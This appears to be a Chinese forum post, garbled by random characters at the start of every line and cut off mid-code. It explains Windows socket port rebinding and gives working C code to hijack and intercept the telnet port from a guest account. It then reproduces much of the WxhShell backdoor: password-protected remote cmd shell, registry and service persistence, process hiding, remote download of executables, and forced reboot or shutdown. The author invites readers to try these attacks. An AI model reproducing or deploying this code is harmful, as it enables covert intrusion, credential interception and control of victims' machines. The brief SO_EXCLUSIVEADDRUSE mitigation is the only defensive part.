在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j;y~vX b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$Y6\m` @9KW ]7 saddr.sin_family = AF_INET;
SDil\x N4C7I1ihq saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$U]T8;5Q KH;~VR8"/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2=NaqHt( ;\2Z?Kq 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
*PnO$q@` 0?>(H(D^/ 这意味着什么?意味着可以进行如下的攻击:
q/U-6A[0 &N/t%q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n_km]~ $N)G:=M!s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)e?&'wa> `R8&(kQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tj@(0}pi4 e9h@G# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Yu3S3aRE :LNE?@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
q%dG>! ~\CS%thX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2uE<mjCt-r W[O]Aal{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|cma7q}p dz9U.:C #include
JyMk @Y #include
11yXI[ #include
D:/ n2_ #include
Q p>b DWORD WINAPI ClientThread(LPVOID lpParam);
b/z-W`gw int main()
dyWp'vCQs\ {
V[nPTYO4 WORD wVersionRequested;
N2}SR|. DWORD ret;
wI_@ WSADATA wsaData;
+;q\7* BOOL val;
DYr#?} 40 SOCKADDR_IN saddr;
^r\rpSN SOCKADDR_IN scaddr;
ls
5iE int err;
ljNwt SOCKET s;
lln"c SOCKET sc;
/]TNEU,K int caddsize;
)Fv.eIBY HANDLE mt;
={:a
N) DWORD tid;
1XSnnkJm wVersionRequested = MAKEWORD( 2, 2 );
BkB>eE1)Ea err = WSAStartup( wVersionRequested, &wsaData );
'9V/w[mI if ( err != 0 ) {
`-L?x2)U printf("error!WSAStartup failed!\n");
^ F]hW return -1;
m;OvOc, }
k5S;G"iJ saddr.sin_family = AF_INET;
S:_Ms{S LlQsc{Ddf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QO'Hyf t Ht
Fr(g\"$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6$k#B ~~ saddr.sin_port = htons(23);
dE7x
SI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"Lbsq\W> {
g<:Lcg"u printf("error!socket failed!\n");
?gE=hh return -1;
uks75W!}U }
H`JFXMa< val = TRUE;
MgJ6{xzz //SO_REUSEADDR选项就是可以实现端口重绑定的
cfLLFPhv) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ia&*JYM[ {
A5XMA|2_ printf("error!setsockopt failed!\n");
0WUBj:@g return -1;
T`bYidA }
/Y7^!3uM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kt6x"'"1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}@r23g% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2}vibDq p ;p(h!4E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hhTtxC<: {
oPSPb(. ret=GetLastError();
sU_K^=6* printf("error!bind failed!\n");
\<LCp;- K return -1;
/7AHd ; }
#I/P9)4 listen(s,2);
D#g-mqar: while(1)
=L!&Z {
DSrU7# caddsize = sizeof(scaddr);
P3zUaN\c //接受连接请求
0j$\k|xFXZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4>gfLK\R: if(sc!=INVALID_SOCKET)
n1-p/a. {
3<xE_ \DR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n ay\) if(mt==NULL)
)@g[aRFa {
|9E:S printf("Thread Creat Failed!\n");
R3>q ] break;
/JD}b[J$ }
Fy=GU<&AI }
&;BhL%)} CloseHandle(mt);
q*hn5 K* }
|+cz\+ closesocket(s);
4)8k?iC* WSACleanup();
Rh'z;Gyr return 0;
L!Jx`zM^ }
14,)JZN DWORD WINAPI ClientThread(LPVOID lpParam)
aHhLz>H' {
'}OdF*L SOCKET ss = (SOCKET)lpParam;
NFT:$>83` SOCKET sc;
K;
#FU unsigned char buf[4096];
mb\T)rj SOCKADDR_IN saddr;
b_x!m{ long num;
e@'x7Zzh DWORD val;
mv9D{_,pD DWORD ret;
CsR[@&n' //如果是隐藏端口应用的话,可以在此处加一些判断
+t7HlAXB# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9{pT)(Wnb saddr.sin_family = AF_INET;
|_53So:g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;}B=g/C saddr.sin_port = htons(23);
l6'KIg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WIWo4[( {
F/v.hP_ printf("error!socket failed!\n");
_/>ktYo: return -1;
bb_elmb)n }
u(9pRr
L val = 100;
5hE#y]pfN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@&*TGU {
KXWcg#zFY ret = GetLastError();
exWQ~& return -1;
cW3'057 }
rJ/HIda if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XDK Me} {
g`y9UYeh ret = GetLastError();
p{E(RsA return -1;
%|jS`kj }
tB;PGk_6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ra~=i|s {
/JNG}* printf("error!socket connect failed!\n");
w1<pQ[A closesocket(sc);
<:-4GJH= closesocket(ss);
g$Tsht(rHD return -1;
yzEyOz@Q }
fw %p_Cm while(1)
v&:[?<6- {
L,zx\cj?z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(j>`+F5f //如果是嗅探内容的话,可以再此处进行内容分析和记录
Od.@G ~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9fp"r,aHN& num = recv(ss,buf,4096,0);
;(K/O?nrJ if(num>0)
P$'PB*5d| send(sc,buf,num,0);
yz [pF else if(num==0)
s}JifY` break;
V@0T&# num = recv(sc,buf,4096,0);
\BBs;z[/ if(num>0)
Rd8mn'A send(ss,buf,num,0);
>s%Db<(P= else if(num==0)
.BxI~d^ break;
LR&MhG7 }
zd_N' :6 closesocket(ss);
-3(*4)h7 closesocket(sc);
Qi\]='C return 0 ;
g?v/u:v>W }
"1|geO| P)VQAM dpz@T>MS= ==========================================================
QXj #Brp 4+8)0;<H 下边附上一个代码,,WXhSHELL
tnpEfi- q?frt3o ==========================================================
N-N]BS6 [fCnq #include "stdafx.h"
Z7wl~Hk U/FysN_N! #include <stdio.h>
b!t[PShw^ #include <string.h>
koB'Zp/FaY #include <windows.h>
uznqq} #include <winsock2.h>
t=lDN'\P #include <winsvc.h>
GX23c
i #include <urlmon.h>
lOA
EM CeU=A9 #pragma comment (lib, "Ws2_32.lib")
0x*1I1(c #pragma comment (lib, "urlmon.lib")
^vm6JWwN0B ;Q3[} ]su #define MAX_USER 100 // 最大客户端连接数
(Jb#'(~a #define BUF_SOCK 200 // sock buffer
(e_<~+E #define KEY_BUFF 255 // 输入 buffer
0fj C>AS {'alA #define REBOOT 0 // 重启
h@JX?LzZS #define SHUTDOWN 1 // 关机
Sa)sDf1+` [qY yr #define DEF_PORT 5000 // 监听端口
_{): w~zi cK[=IE5 #define REG_LEN 16 // 注册表键长度
~jJ.E_i #define SVC_LEN 80 // NT服务名长度
T!?tyW dU_;2d$ // 从dll定义API
AP z"k?D0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
m{$+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f>xi (0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jD<xpD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kE6/d, ;d>n2 // wxhshell配置信息
S/*\j7cj struct WSCFG {
g/l:q&Q< int ws_port; // 监听端口
@}PXBU char ws_passstr[REG_LEN]; // 口令
qh W]Wd"g int ws_autoins; // 安装标记, 1=yes 0=no
)Vy0V= char ws_regname[REG_LEN]; // 注册表键名
7f3,czW char ws_svcname[REG_LEN]; // 服务名
7V@r^/`8N char ws_svcdisp[SVC_LEN]; // 服务显示名
iM7^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
s[eSPSFZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
PI$i_3N int ws_downexe; // 下载执行标记, 1=yes 0=no
A|K=>7n]U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6.tA$#6HP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@x*xgf 2 Y9u9;ah };
z80(+`
"{+2Q // default Wxhshell configuration
hl0X,G+@ struct WSCFG wscfg={DEF_PORT,
o=!_.lDF: "xuhuanlingzhe",
A[@koLCL 1,
5|jY "Wxhshell",
H;<>uELie "Wxhshell",
PepR]ym "WxhShell Service",
K2Ro0 "Wrsky Windows CmdShell Service",
s5G`?/ "Please Input Your Password: ",
H}_R `S 1,
.>r3ZwrE' "
http://www.wrsky.com/wxhshell.exe",
nVoWER: "Wxhshell.exe"
bbjEQby };
WZHw(BN{+ B R // 消息定义模块
fUCjC*#1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>}+R+''nR char *msg_ws_prompt="\n\r? for help\n\r#>";
NCT:!& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%2b^t*CQ char *msg_ws_ext="\n\rExit.";
{7DXSe4 char *msg_ws_end="\n\rQuit.";
LibQlNW\ char *msg_ws_boot="\n\rReboot...";
/9gn)q2f( char *msg_ws_poff="\n\rShutdown...";
I0H]s/*C%9 char *msg_ws_down="\n\rSave to ";
qs\Cwn! 5|r*,!CF char *msg_ws_err="\n\rErr!";
|ssl0/nk char *msg_ws_ok="\n\rOK!";
2?6]Xbs{ $aU.M3
char ExeFile[MAX_PATH];
K/Pw;{} int nUser = 0;
L#'XN H" HANDLE handles[MAX_USER];
rp"5176
int OsIsNt;
;ow)N <Z ~Gh7i>n* SERVICE_STATUS serviceStatus;
<[
2?~s SERVICE_STATUS_HANDLE hServiceStatusHandle;
M?My+o T \\13n4fAv // 函数声明
~@6l7H6{ int Install(void);
7q;`~tbC int Uninstall(void);
l"+8>Mm int DownloadFile(char *sURL, SOCKET wsh);
(y6}xOa( int Boot(int flag);
/
yBrlf void HideProc(void);
:2M&C+f[ int GetOsVer(void);
bW!
&n int Wxhshell(SOCKET wsl);
[[^95: void TalkWithClient(void *cs);
g"|>^90 int CmdShell(SOCKET sock);
K, !
V _ int StartFromService(void);
u_+iH$zA int StartWxhshell(LPSTR lpCmdLine);
U+>M@!= Nb9GrYIS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RjvW*'2G VOID WINAPI NTServiceHandler( DWORD fdwControl );
vC@^B)5gb lqMr@
:t // 数据结构和表定义
\5! 7zPc SERVICE_TABLE_ENTRY DispatchTable[] =
x>##qYT {
,e9M%VIu6[ {wscfg.ws_svcname, NTServiceMain},
YI7M%B9Lj {NULL, NULL}
d,l?{Ln };
%aw.o*@: 4c(Em+4 // 自我安装
`vOL3`P int Install(void)
&*7KQd {
[yk-<}#B char svExeFile[MAX_PATH];
eZU9L/w: HKEY key;
*n EkbI/ strcpy(svExeFile,ExeFile);
_ pz} `ROHB@- // 如果是win9x系统,修改注册表设为自启动
m Rw0R{ if(!OsIsNt) {
=HsE:@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7CuZ7!>$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
egG<"e*W}N RegCloseKey(key);
4%ooJi|) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a=j'G]= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b \`S[ RegCloseKey(key);
r*l3Hrho~K return 0;
KsOWTq"uj }
_7;:*'>a4 }
$+7uB-KsU }
n:`f.jG | else {
m?<E >-bI <OGG(dI // 如果是NT以上系统,安装为系统服务
HVHv,:bPo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
thJ~*
0^ if (schSCManager!=0)
X@DW1<wEt {
kc^,V|Nbq6 SC_HANDLE schService = CreateService
^
UmYW (
@0@ZlHwM schSCManager,
:+PE1=v wscfg.ws_svcname,
h.PBe wscfg.ws_svcdisp,
y')OmR2h SERVICE_ALL_ACCESS,
pzz*>Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^HJ?k:u SERVICE_AUTO_START,
rYr*D[m] SERVICE_ERROR_NORMAL,
>UaQ7CRo svExeFile,
:HO5
T NULL,
!&rd#ZBn NULL,
*$<W"@%^J NULL,
G*@!M%/ NULL,
Xv-p7$?f NULL
(6S'wb );
9VnBNuT if (schService!=0)
$QC1l@[sM {
Zj_2>A CloseServiceHandle(schService);
c;$4}U4 CloseServiceHandle(schSCManager);
!=YKfzE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pZ.b
X strcat(svExeFile,wscfg.ws_svcname);
;v:( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{p84fR1P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{6zNCO RegCloseKey(key);
-BSdrP| return 0;
=n5'~1?X? }
pUXoSnIq: }
!5o j~H CloseServiceHandle(schSCManager);
gA!@oiq@ }
%tyo(HZQ }
T+<.KvO- qSc-V`* return 1;
*5%vU|9b }
B{nwQC b P]43FPb // 自我卸载
l;lrf3 int Uninstall(void)
c1yRy| {
!!y]pMjJa@ HKEY key;
!bE-&c :RIz6Tz if(!OsIsNt) {
&
o5x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}5;4'l8 RegDeleteValue(key,wscfg.ws_regname);
/;*_[g5*i RegCloseKey(key);
).SJ*Re*^I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q/+`9z+c RegDeleteValue(key,wscfg.ws_regname);
"b} mVrFh RegCloseKey(key);
8 "l
PiW3 return 0;
!D#"+&&G8 }
.[Sis<A]% }
&lQ%;)' }
9TW[;P2> ) else {
@+gr/Pul^ W[ l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Eomfa:WL if (schSCManager!=0)
t6DSZ^Zq {
}L\;W:0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ytZ o0pad if (schService!=0)
sQJ\{'g {
*N">93: if(DeleteService(schService)!=0) {
X1Yw=t~a CloseServiceHandle(schService);
0q}i5%m7 CloseServiceHandle(schSCManager);
jn<?,UABD return 0;
B9maz"lJ }
[,o:nry'a CloseServiceHandle(schService);
2q~.,vpP }
Vrt$/ d CloseServiceHandle(schSCManager);
IO\l8G }
2XP
}:e }
VOEV[?>ss -?Cr&!*B return 1;
G4*
LO }
]auvtm-[ `i.BB jx` // 从指定url下载文件
p='j/= int DownloadFile(char *sURL, SOCKET wsh)
c1#0o)q*7 {
1}(22Q; HRESULT hr;
O~3
A>j char seps[]= "/";
C[J9 =!t char *token;
%'Cj~An char *file;
Sdu\4;( char myURL[MAX_PATH];
e?> char myFILE[MAX_PATH];
Pb5yz-?
k@4N7} strcpy(myURL,sURL);
ZQ`8RF *v token=strtok(myURL,seps);
]
ZV[}7I. while(token!=NULL)
`"5Ub,~ {
8 v/H;65 file=token;
aI=p_+.h token=strtok(NULL,seps);
3&hR#;,"X }
s scbf c4H6I~2Na GetCurrentDirectory(MAX_PATH,myFILE);
x[0T$ strcat(myFILE, "\\");
*u},(4Qf strcat(myFILE, file);
wC1pfXa send(wsh,myFILE,strlen(myFILE),0);
>h7(kj: send(wsh,"...",3,0);
GwX)~.i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V]H(;+^P if(hr==S_OK)
dbf<k%i6 return 0;
`<7\Zl else
btW#ebm return 1;
p6DI7<C<H ~+Wx\:TT }
v;,W ^#` m$vq%[/# // 系统电源模块
"N+4TfXy int Boot(int flag)
YVIE v {
&g:( I HANDLE hToken;
#-L0.z( TOKEN_PRIVILEGES tkp;
q5f QTV lp`j3) if(OsIsNt) {
ufXWK3~\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
T`#nn| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'2^}de!E tkp.PrivilegeCount = 1;
^/n1hg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a 0SZw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P(aBJ*((~ if(flag==REBOOT) {
!tq]kKJ3: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wB)y@w4k return 0;
ZF7n]LgSc& }
fG\"p else {
Cy-p1s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zyPb\/ return 0;
|4+'YgO }
c.>f,vtcn }
64'2ICf#m else {
u62H+'k}F if(flag==REBOOT) {
vHi%UaD-y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)Jt. Z^J< return 0;
u`v&URM }
ag'hHFV else {
N@thewt| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<X*oW ". return 0;
0>Y3xNb }
.$\-{) }
S)hDsf.I -r*|N.5c return 1;
It3k#A0 }
jf)cDj2 Do4hg $:40 // win9x进程隐藏模块
B Ewa QvQ! void HideProc(void)
x-i,v"8 {
ZX/FIxpy V7WL Gy., HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|uy@v6 if ( hKernel != NULL )
^_#wo" {
3P!OP{` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\PS]c9@,rc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G@P;#l`(D FreeLibrary(hKernel);
B
W*8 }
ZV{C9S& &0kr[Ik. return;
(rFkXK4^J }
[pU(z'caS hTa X@=Ra // 获取操作系统版本
Z"c-Ly{vEj int GetOsVer(void)
@PM<pEve {
R+.4|1p OSVERSIONINFO winfo;
&en2t=a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3>n&u,Xe GetVersionEx(&winfo);
rn
.qs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'A|c\sy return 1;
ou0TKE9
_ else
+788aK,{# return 0;
4Pr^>m }
z#G\D5yX[* rhLhFN{h // 客户端句柄模块
L{~ ]lUo int Wxhshell(SOCKET wsl)
?5't1219 {
!RJ@;S SOCKET wsh;
4x
?NCD=k struct sockaddr_in client;
0`zdj DWORD myID;
([<{RjPb ^0"^ while(nUser<MAX_USER)
oaha5aWH {
Q"s6HZ"YI int nSize=sizeof(client);
z~f;}`0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Lea4-Gc if(wsh==INVALID_SOCKET) return 1;
1PxRj MMk9rBf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(~Bm\ Jn if(handles[nUser]==0)
Q}Ah{H0C closesocket(wsh);
0Gj/yra9MO else
6Z1O:Bou nUser++;
ts&\JbL }
K"[jrvZ= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<VU-ja*(J #&uajo return 0;
V|A.M-XLv4 }
hgYFR6VH 4 dHGU^#WZ // 关闭 socket
!0^4D=dO void CloseIt(SOCKET wsh)
zEQQ4)mA {
gLSI? closesocket(wsh);
%@(+`CCA nUser--;
+z9BWo!{I ExitThread(0);
m!zvt
}
qPi $kecx >=rniHs=?7 // 客户端请求句柄
~YNzSkz void TalkWithClient(void *cs)
qm#?DSLap {
~BTm6*'h i:N-Q)<Q*) SOCKET wsh=(SOCKET)cs;
_\+0e:Ae char pwd[SVC_LEN];
Z 9cb char cmd[KEY_BUFF];
})!- char chr[1];
x!85P\sm int i,j;
~Gc@#Msj -A}$5/ while (nUser < MAX_USER) {
i`6utOq G@e;ms1 if(wscfg.ws_passstr) {
.@r{Tq,%q8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6qV1_M# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SANbg&$ //ZeroMemory(pwd,KEY_BUFF);
qc'KQ5w7! i=0;
IY~I=} while(i<SVC_LEN) {
{?w*n_T. ~y Dl& S // 设置超时
_;BNWH fd_set FdRead;
W#d'SL#5 struct timeval TimeOut;
\\Zsxya1 FD_ZERO(&FdRead);
?=?*W7 FD_SET(wsh,&FdRead);
bA6^RIf? TimeOut.tv_sec=8;
3?gfDJfE TimeOut.tv_usec=0;
OvC@E]/+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=JTwH>fD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@d5t%V\ &a >UVs?= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N>s3tGh pwd
=chr[0]; BD.l 5~:
if(chr[0]==0xd || chr[0]==0xa) { f/kYm\Zc
pwd=0; #RdcSrw)W!
break; ,rY}IwMw
} J| 46i
i++; 0ly6 |:
} Efd@\m:~>
q|lP?-j
// 如果是非法用户,关闭 socket ev7A;;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _s=<Y^l%x
} EN>a^B+!
D+BflI~9mP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1?TgI0HS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5P('SFq'=
0!c/4^
while(1) { #5{lOeN
A6;[r #C
ZeroMemory(cmd,KEY_BUFF); hR>`I0|p&
:h0!giqoQ
// 自动支持客户端 telnet标准 }6__E;h#J
j=0; Q."rE"}<
while(j<KEY_BUFF) { ]VN1Y)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~vZ1.y4
cmd[j]=chr[0]; Nw1 .x
if(chr[0]==0xa || chr[0]==0xd) { c)QOgXv
cmd[j]=0; 5tVg++I
break; +b dnTV6
} `1
Tg8
j++; Kna@K$6{w=
} nzB!0U
1x0)mt3
// 下载文件 &9n=!S'Md
if(strstr(cmd,"http://")) { "W}+~Sn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DY87NS*HF
if(DownloadFile(cmd,wsh)) i8/"|+Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zXlLud8
else *u34~v16,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %)r1?H} #%
} I\82_t8
else { H//,qxDc
%(1y
switch(cmd[0]) { i+Xb3+R
\D! I"mr
// 帮助 i:^
8zW
case '?': { x1`Jlzrp,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~HX'8\5
break; B{Lzgw u;
} 38RyUHL=
// 安装 s.!gsCQme
case 'i': { 8rjiW#
if(Install()) e({-.ra
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[4{]jX+<
else eKqo6P:#f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y#Pg*C8>8
break; ,NU`aG-
} L8KMMYh[
// 卸载 14Jkr)N
case 'r': { )G|'PXI@,
if(Uninstall()) DIc -"5~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.@"wAw:
else j1$s^ -9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I6 Q{ Axy
break; <3bFt [
} @w[HXb
// 显示 wxhshell 所在路径 "[\TL#/
case 'p': { 3gba~}c)
char svExeFile[MAX_PATH]; 1:q5h*
strcpy(svExeFile,"\n\r"); \w@ "`!%
strcat(svExeFile,ExeFile); P?YcZAJT*
send(wsh,svExeFile,strlen(svExeFile),0); mp>Ne6\Tu
break; 6t`cY
} iXuSFman
// 重启 n ]P,5
case 'b': { H<wkD9v}H5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); agPTY{;
if(Boot(REBOOT)) a.s5>:Ct
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z{jol
else { B["C~aF
closesocket(wsh); |jTRIMj%,_
ExitThread(0); GUqBnRA8j
} 5'[b:YC
break; h2m@Q={
} c\(CbC
// 关机 2umgF
case 'd': { I=9sTR)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o0F&,|'
if(Boot(SHUTDOWN)) 8~8VoU&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ex$i8fO(
else { #Q61c
closesocket(wsh); v_e3ZA:%
ExitThread(0); 4jdP3Q/
} QlK]2r9
break; oD&axNk
} RD0=\!w *5
// 获取shell |tuh/e@dx
case 's': { ^s?=$&8f![
CmdShell(wsh); *VgiJ
closesocket(wsh); L/2,r*LNx$
ExitThread(0); w>h\643
break; Iju9#b6
} `0Bk@B[>
// 退出 S!+}\*
case 'x': { Dt=@OZW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nv/'C=+L
CloseIt(wsh); 7FGi+
break; 2*ByVK
} aV`_@F-8
// 离开 b,uudtlH
case 'q': { I::|d,bR!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?]PE!7H
closesocket(wsh); u@pimRVo
WSACleanup(); 1j?+rs+o-
exit(1); XsbYWJdds
break; 9vI<\
Xa
} jcL%_of
} D,P{ ,/
} L(+I
G[$g-NU+
// 提示信息 Dbl+izF3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _T\cJcWf
} &hu>yH>j
} }WDzzjDR+
W!t =9i
return; <sli!rv
} T: I34E[
TQ5*z,CkS
// shell模块句柄 O_\%8*;
int CmdShell(SOCKET sock) <NXJ&xs-+
{ AX;!-|bW
STARTUPINFO si; "Tz'j}< 9C
ZeroMemory(&si,sizeof(si)); #pcgfVl
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @8*lqV2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zd|n!3;
PROCESS_INFORMATION ProcessInfo; Dl@Jj?zc
char cmdline[]="cmd"; LS]0 p#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q>(a JF
return 0; 7z q@T]
} 50""n7I<%
@2g
<d
// 自身启动模式 %X|u({(zb
int StartFromService(void) Jb*E6-9G
{ Z\3~7Ek2m
typedef struct OE*Y%*b
{ lFl(Sww!\
DWORD ExitStatus; >#VNA^+t
DWORD PebBaseAddress; iD*L<9
DWORD AffinityMask; @;\0cEn>
DWORD BasePriority; y9b%P]i
ULONG UniqueProcessId;
T~L&c
ULONG InheritedFromUniqueProcessId; h0$Y;=YA
